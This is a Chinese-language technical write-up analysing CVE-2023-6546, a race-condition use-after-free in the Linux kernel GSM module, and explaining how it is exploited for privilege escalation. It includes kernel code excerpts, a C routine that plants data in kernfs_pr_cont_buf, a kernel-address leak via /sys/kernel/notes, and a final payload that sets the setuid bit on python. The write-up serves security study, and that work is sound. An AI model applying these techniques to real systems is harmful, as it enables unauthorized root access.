CVE-2023-6546 Linux 内核 GSM 模块条件竞争漏洞分析与利用
字数 1630 2025-08-24 07:48:33

Linux 内核 GSM 模块条件竞争漏洞(CVE-2023-6546)分析与利用

漏洞概述

CVE-2023-6546 是 Linux 内核 GSM 模块中的一个条件竞争漏洞,存在于 gsmld_config 函数中。该漏洞可导致 Use-After-Free (UAF) 情况,攻击者可以利用此漏洞提升权限。

漏洞分析

漏洞代码路径

  1. 用户态对 tty fd 发起 ioctl 系统调用时会进入:
    • gsmld_ioctlgsmld_config
static int gsmld_config(struct tty_struct *tty, struct gsm_mux *gsm, struct gsm_config *c) {
    // [0] 根据 c 设置 need_close 和 need_restart
    if (need_close || need_restart) {
        int ret;
        ret = gsm_disconnect(gsm); // [1] 进入 gsm_disconnect
        if (ret)
            return ret;
    }
    if (need_restart)
        gsm_cleanup_mux(gsm);
    if (need_restart)
        gsm_activate_mux(gsm);
    return 0;
}
  1. 通过控制 c 的值可以让 need_restart = 1,然后会进入 gsm_disconnect 处理:
static int gsm_disconnect(struct gsm_mux *gsm) {
    struct gsm_dlci *dlci = gsm->dlci[0];
    struct gsm_control *gc;
    
    if (!dlci)
        return 0;
    
    /* In theory disconnecting DLCI 0 is sufficient but for some modems this is apparently not the case. */
    gc = gsm_control_send(gsm, CMD_CLD, NULL, 0);
    if (gc)
        gsm_control_wait(gsm, gc);
    
    del_timer_sync(&gsm->t2_timer); /* Now we are sure T2 has stopped */
    gsm_dlci_begin_close(dlci);
    wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);
    if (signal_pending(current))
        return -EINTR;
    return 0;
}

漏洞触发逻辑

  1. 假设进入函数时有两个 fd 分别为 master 和 slave (master_fd 和 slave_fd)
  2. gsm_control_send 向 master_fd 发送请求
  3. gsm_control_wait 等待 master 的响应
  4. 通过 wait_event_interruptible 等待 dlci 的状态变成 DLCI_CLOSED
  5. 执行 gsm_disconnect 后会进入 gsm_cleanup_muxgsm_dlci_release,会把 gsm->dlci[0] 释放掉

竞争条件

如果两个线程同时进入了 gsm_disconnect

  • 线程 B 还在使用 dlci 的过程中
  • 线程 A 释放 dlci
  • 导致 UAF (Use-After-Free) 情况

漏洞利用

利用思路

  1. 通过漏洞实现 dlci 对象的 UAF
  2. 在释放 dlci 后通过堆喷占位 (使用 add_key 方式)
  3. 劫持 dlci->gsm->output 执行内核函数

关键挑战与解决方案

1. 扩大时间窗口

需要提升 wait_event_interruptibledlci->gsm->output 之间的时间窗口,利用 CPU 调度特性:

  1. 新增一个线程 C 和线程 B 绑定到同一个 CPU (如 CPU 0)
  2. 设置线程 B 的调度优先级为 IDLE,线程 C 调度优先级为默认的 NORMAL
  3. 在线程 B 卡在 gsm_control_wait 等待 master 的响应时,通知线程 C 进入死循环
  4. 目标进程主动让出 CPU,利用调度优先级扩大主动让出的时间窗口

由于线程 C 的调度优先级大于线程 B,线程 B 会长时间拿不到 CPU,从而提升了时间窗口。

2. 获取内核镜像地址

在 Ubuntu 系统中,/sys/kernel/notes 文件权限为用户可读,里面包含一些内核镜像地址,可用于计算内核镜像基地址。

示例:

$ xxd /sys/kernel/notes
00000000: 0400 0000 0600 0000 0600 0000 5865 6e00  ..........Xen.
00000010: 6c69 6e75 7800 0000 0400 0000 0400 0000  linux.........
...

3. 在内核地址布置数据

利用 cgroup filter 在 kernfs_pr_cont_buf 中放置数据。kernfs_pr_cont_buf 的地址可以通过内核镜像的基地址计算。

布置数据的代码:

static void prepare_smap_bypass(char *payload) {
    pid_t pid;
    int fd;
    char buf[128];
    int a[2];
    int b[2];
    char c;
    char path[128];
    
    if (pipe(a) < 0) die("pipe");
    if (pipe(b) < 0) die("pipe");
    
    pid = fork();
    if (pid < 0) die("fork");
    
    if (pid == 0) {
        unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET);
        write(a[1], &c, 1);
        read(b[0], &c, 1);
        
        system("mount -t tmpfs tmpfs /run");
        fd = open("/dev/null", O_RDONLY);
        if (fd < 0) die("open");
        if (dup2(fd, 2) < 0) die("dup2");
        
        execl("/sbin/iptables", "iptables", "-A", "OUTPUT", "-m", "cgroup", 
              "--path", payload, "-j", "LOG", NULL);
        exit(1);
    }
    
    read(a[0], &c, 1);
    snprintf(path, sizeof path, "/proc/%u/setgroups", pid);
    fd = open(path, O_RDWR);
    if (!fd) die("open");
    strcpy(buf, "deny");
    if (write(fd, buf, strlen(buf)) != strlen(buf)) die("write");
    close(fd);
    
    snprintf(path, sizeof path, "/proc/%u/uid_map", pid);
    fd = open(path, O_RDWR);
    if (fd < 0) die("open");
    snprintf(buf, sizeof buf, "0 %d 1", getuid());
    if (write(fd, buf, strlen(buf)) != strlen(buf)) die("write");
    close(fd);
    
    snprintf(path, sizeof path, "/proc/%u/gid_map", pid);
    fd = open(path, O_RDWR);
    if (fd < 0) die("open");
    snprintf(buf, sizeof buf, "0 %d 1", getgid());
    if (write(fd, buf, strlen(buf)) != strlen(buf)) die("write");
    close(fd);
    
    write(b[1], &c, 1);
    close(a[0]);
    close(a[1]);
    close(b[0]);
    close(b[1]);
    wait(NULL);
}

布局后查看 kernfs_pr_cont_buf 的值:

(gdb) x/400xg kernfs_pr_cont_buf
0xffffffff8336eac0 <kernfs_pr_cont_buf>: 0x0000000000000000  0x0000000000000000
0xffffffff8336ead0 <kernfs_pr_cont_buf+16>: 0x0000000000000000  0x0000000000000000
...
0xffffffff8336eb30 <kernfs_pr_cont_buf+112>: 0x642f630062006100  0x4343434343434343
0xffffffff8336eb40 <kernfs_pr_cont_buf+128>: 0x4343434343434343  0x4343434343434343
0xffffffff8336eb50 <kernfs_pr_cont_buf+144>: 0xffffffff81ffaee0  0x0000000000000000
...

最终利用

  1. 劫持 dlci->gsmkernfs_pr_cont_buf
  2. 控制 dlci->gsm->output(gsm, ...) 函数指针调用为 run_cmd("/bin/chmod u+s /usr/bin/python")
  3. 实现提权

技术总结

  1. 地址泄露技巧:系统的 /sys/proc 等目录下经常出现地址泄露问题,这个技巧可以在其他漏洞利用中使用。

  2. 内核数据布置:通过 kernfs_pr_cont_buf 布局数据是一个通用思路,在劫持对象指针时非常有用:

    • 可以少泄露一次堆地址
    • 只要能泄露内核镜像地址,就能利用内核对全局变量的修改,在内核地址布置数据
  3. 调度优先级利用:利用调度优先级扩大时间窗口是比较常用的技术思路。

Linux 内核 GSM 模块条件竞争漏洞(CVE-2023-6546)分析与利用 漏洞概述 CVE-2023-6546 是 Linux 内核 GSM 模块中的一个条件竞争漏洞,存在于 gsmld_config 函数中。该漏洞可导致 Use-After-Free (UAF) 情况,攻击者可以利用此漏洞提升权限。 漏洞分析 漏洞代码路径 用户态对 tty fd 发起 ioctl 系统调用时会进入: gsmld_ioctl → gsmld_config 通过控制 c 的值可以让 need_restart = 1 ,然后会进入 gsm_disconnect 处理: 漏洞触发逻辑 假设进入函数时有两个 fd 分别为 master 和 slave (master_ fd 和 slave_ fd) gsm_control_send 向 master_ fd 发送请求 gsm_control_wait 等待 master 的响应 通过 wait_event_interruptible 等待 dlci 的状态变成 DLCI_ CLOSED 执行 gsm_disconnect 后会进入 gsm_cleanup_mux → gsm_dlci_release ,会把 gsm->dlci[0] 释放掉 竞争条件 如果两个线程同时进入了 gsm_disconnect : 线程 B 还在使用 dlci 的过程中 线程 A 释放 dlci 导致 UAF (Use-After-Free) 情况 漏洞利用 利用思路 通过漏洞实现 dlci 对象的 UAF 在释放 dlci 后通过堆喷占位 (使用 add_key 方式) 劫持 dlci->gsm->output 执行内核函数 关键挑战与解决方案 1. 扩大时间窗口 需要提升 wait_event_interruptible 和 dlci->gsm->output 之间的时间窗口,利用 CPU 调度特性: 新增一个线程 C 和线程 B 绑定到同一个 CPU (如 CPU 0) 设置线程 B 的调度优先级为 IDLE,线程 C 调度优先级为默认的 NORMAL 在线程 B 卡在 gsm_control_wait 等待 master 的响应时,通知线程 C 进入死循环 目标进程主动让出 CPU,利用调度优先级扩大主动让出的时间窗口 由于线程 C 的调度优先级大于线程 B,线程 B 会长时间拿不到 CPU,从而提升了时间窗口。 2. 获取内核镜像地址 在 Ubuntu 系统中, /sys/kernel/notes 文件权限为用户可读,里面包含一些内核镜像地址,可用于计算内核镜像基地址。 示例: 3. 在内核地址布置数据 利用 cgroup filter 在 kernfs_pr_cont_buf 中放置数据。 kernfs_pr_cont_buf 的地址可以通过内核镜像的基地址计算。 布置数据的代码: 布局后查看 kernfs_pr_cont_buf 的值: 最终利用 劫持 dlci->gsm 到 kernfs_pr_cont_buf 控制 dlci->gsm->output(gsm, ...) 函数指针调用为 run_cmd("/bin/chmod u+s /usr/bin/python") 实现提权 技术总结 地址泄露技巧 :系统的 /sys 、 /proc 等目录下经常出现地址泄露问题,这个技巧可以在其他漏洞利用中使用。 内核数据布置 :通过 kernfs_pr_cont_buf 布局数据是一个通用思路,在劫持对象指针时非常有用: 可以少泄露一次堆地址 只要能泄露内核镜像地址,就能利用内核对全局变量的修改,在内核地址布置数据 调度优先级利用 :利用调度优先级扩大时间窗口是比较常用的技术思路。